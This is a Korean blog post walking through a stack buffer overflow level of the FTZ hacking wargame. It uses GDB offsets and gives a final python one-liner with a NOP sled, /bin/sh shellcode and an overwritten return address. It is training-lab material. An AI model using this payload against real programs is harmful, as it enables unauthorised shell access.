BOF의 냄새...


코드해석은 따로 안하고

바로 GDB를 돌려보자..



<main+3>부분을 보면 108만큼의 공간을 할당한다.

10진수로 변환하면 264이다.


메모리는 str(=256) + 더미(=8) + SFP(=4) + RET(=4) 만큼 있다.


그러면 쉘을 따는 주소를 str에 넣고 RET에는 그 쉘로가는 주소를 넣으면 될것이다.


그러면 GDB디버깅을 위해 ./tmp에 attackme를 코딩하자

그리고나서 GDB디버깅 ㄱㄱ


그럼 str주소를 찾아보면 0xbffffb50가 되겠고., NOP를 채우고 맞는 쉘값을 넣고 RET를 0xbffffb50로 주게되면

최종적인 공격 코드는 ./attackme `python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b

\xcd\x80"+"\x50\xfb\xff\xbf"'`가 될것이다.

(사진은 트러블 슈팅 불가로 인해 미첨부.ㅠ;;)



결과는



성공적이였다.

'Pwnable > FTZ' 카테고리의 다른 글

FTZ Level13 풀이(해결)  (0) 2016.07.16
FTZ Level12 풀이(EggShell로 해결)  (0) 2016.07.16
FTZ Level10 풀이  (0) 2016.07.15
FTZ Level9 풀이  (0) 2016.07.15
FTZ Level8 풀이  (0) 2016.07.15

+ Recent posts